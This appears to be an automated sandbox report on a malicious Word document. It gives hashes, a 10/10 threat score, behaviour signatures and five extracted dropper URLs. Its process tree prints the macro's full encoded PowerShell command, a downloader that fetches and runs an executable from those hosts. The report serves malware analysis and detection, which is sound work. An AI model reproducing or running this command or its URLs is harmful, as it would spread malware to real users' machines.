Analysis

  • max time kernel
    101s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/09/2024, 06:05

General

  • Target

    d9c0ca384edc8b0e4fb7422745d7664b_JaffaCakes118.doc

  • Size

    272KB

  • MD5

    d9c0ca384edc8b0e4fb7422745d7664b

  • SHA1

    6040aa1c8c9717951b84f0a34274fb7035040ea9

  • SHA256

    0cd62b03d38d473ad2d63129e6768b0ce4e78669e2d7c982fc1d4f118927c1a0

  • SHA512

    2938fd97f35917f65fdae260544e79421c8c58bd611dd61c8c92f06f5beaba4e98154250ab4f5d372fd7b521939c204f6ee18aab854de3acded0c96206ec62b0

  • SSDEEP

    3072:Holv4ePMtnCBKZckiM0nkg4A/x1YPAkjL/xSu90OoiLuDKZXfwKeljR17:JLttifn74U2PASxUOmD+XfwLH

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://darktowergaming.com/OEWdo9qt

exe.dropper

http://manhphu.xyz/kRMM9axO1e

exe.dropper

http://actron.com.my/WnSslvdQG

exe.dropper

http://nankaimpa.org/JXzfwPjXB

exe.dropper

http://www.doorlife.co.in/g11m6lr

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d9c0ca384edc8b0e4fb7422745d7664b_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -e JABaADAAbwAyAHEAaQA9ACgAJwBzADcAJwArACcAcwBMAE4AQQAnACsAJwBpACcAKQA7ACQAUABqAGsAMwBYAGsASAA4AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGgATQByAHYAYwBtAEcAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwBkAGEAcgBrACcAKwAnAHQAbwB3AGUAcgBnAGEAJwArACcAbQBpACcAKwAnAG4AZwAnACsAJwAuACcAKwAnAGMAbwBtAC8ATwBFAFcAZABvADkAJwArACcAcQB0AEAAaAB0AHQAcAA6AC8ALwBtAGEAbgAnACsAJwBoAHAAaAB1AC4AeAB5AHoALwBrAFIATQAnACsAJwBNADkAYQB4AE8AMQAnACsAJwBlAEAAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBhAGMAdAByAG8AJwArACcAbgAuAGMAbwBtACcAKwAnAC4AbQAnACsAJwB5AC8AJwArACcAVwAnACsAJwBuAFMAcwBsAHYAZABRAEcAQABoAHQAdABwADoALwAvAG4AYQBuAGsAYQAnACsAJwBpAG0AJwArACcAcAAnACsAJwBhAC4AbwAnACsAJwByAGcALwBKAFgAJwArACcAegBmAHcAUABqACcAKwAnAFgAQgAnACsAJwBAAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3ACcAKwAnAHcALgBkAG8AbwAnACsAJwByAGwAaQAnACsAJwBmAGUALgBjACcAKwAnAG8ALgAnACsAJwBpAG4ALwBnADEAMQBtACcAKwAnADYAJwArACcAbAAnACsAJwByACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAHAATABiAGoATQBqAEsAOAA9ACgAJwBJADkAJwArACcASAAnACsAJwBUAGMANQBXACcAKQA7ACQAaQA2AEwARwAwAEMAVgAgAD0AIAAoACcAOAA5ACcAKwAnADEAJwApADsAJABIAGkAbABmAEIAbwBTAGoAPQAoACcAdgAnACsAJwBuAGkAQgBPAEoARAAnACkAOwAkAHoATABLAE0AbQBmAE8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGkANgBMAEcAMABDAFYAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAEcAVwB3AFkAbwBYACAAaQBuACAAJABoAE0AcgB2AGMAbQBHACkAewB0AHIAeQB7ACQAUABqAGsAMwBYAGsASAA4AC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEUARwBXAHcAWQBvAFgALAAgACQAegBMAEsATQBtAGYATwApADsAJABZAGQANABLADUAaAA9ACgAJwBqAFAAUgAyAEgAagBuACcAKwAnAHoAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAegBMAEsATQBtAGYATwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHoATABLAE0AbQBmAE8AOwAkAHcAaQBoAE8AbABpAEkAPQAoACcAVwBHACcAKwAnAEYAUwAyAG4AJwArACcAbAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBUAHIAOABaADYAcAA9ACgAJwBhAHoARwAnACsAJwA2AE0AJwArACcANQAnACkAOwA=
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2892
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1392

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            19KB

            MD5

            94ce9c32476957cf4a142224c56358ab

            SHA1

            d18638a7ed1d9529ef0f7cb1d9af3eb1b069c514

            SHA256

            fa3d7751fc2bb8f1d854b7d4bab8bc47954d931f14364a5cdd76acb0b8713d4f

            SHA512

            7c76d1cf42da5fd1ef5c16102f6fcee69581b3a54fee17da38be374e958237019637042ded76e6ee212caa58294d1590a67478f504a86c04b67f3c8a790cd427

          • memory/904-22-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-2-0x00000000712FD000-0x0000000071308000-memory.dmp

            Filesize

            44KB

          • memory/904-8-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-13-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-9-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-10-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-20-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-21-0x0000000005720000-0x0000000005820000-memory.dmp

            Filesize

            1024KB

          • memory/904-19-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-16-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-17-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-15-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-14-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-12-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-11-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-18-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-0-0x000000002FD61000-0x000000002FD62000-memory.dmp

            Filesize

            4KB

          • memory/904-36-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-102-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-63-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-73-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-77-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-65-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-62-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-61-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-47-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-35-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-34-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-51-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-178-0x00000000712FD000-0x0000000071308000-memory.dmp

            Filesize

            44KB

          • memory/904-179-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-180-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-182-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-183-0x0000000000670000-0x0000000000770000-memory.dmp

            Filesize

            1024KB

          • memory/904-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/904-208-0x00000000712FD000-0x0000000071308000-memory.dmp

            Filesize

            44KB